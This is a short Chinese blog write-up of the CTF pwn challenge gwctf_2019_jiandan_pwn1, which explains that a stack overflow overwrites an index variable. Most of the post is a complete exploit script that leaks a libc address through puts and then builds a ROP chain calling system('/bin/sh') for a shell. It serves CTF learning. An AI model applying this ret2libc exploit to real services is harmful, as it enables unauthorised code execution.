Loading

gwctf_2019_jiandan_pwn1

gwctf_2019_jiandan_pwn1

总结

题如其名,虽然简单,但是有个小坑,就是栈溢出的过程中,会把索引给覆盖掉,所以要注意索引的值:

image-20210820232921096

即这里的v4为索引,在rbp的下方,溢出的时候注意一下即可。

Exp

from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc:ELF = gift['libc']

payload = flat([b"a"*(0x110 - 4), p32(0x10d), 0, 0x0000000000400843, elf.got['puts'], elf.plt['puts'], 0x400790])

p.sendlineafter("Hack 4 fun!\n", payload)

msg = p.recvline()
libc_base_addr = u64(msg[:-1].ljust(8, b"\x00")) - libc.sym['puts']
log_address("libc_base_addr", libc_base_addr)

libc.address = libc_base_addr

# sleep(1)
payload = flat([b"b"*(0x110 - 4), p32(0x10d), 0xdeadbeef, 0x400843, libc.search(b"/bin/sh").__next__(), libc.sym['system']])
p.sendlineafter("Hack 4 fun!\n", payload)


p.interactive()

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

posted @ 2021-09-05 16:18  LynneHuan  阅读(201)  评论(0编辑  收藏  举报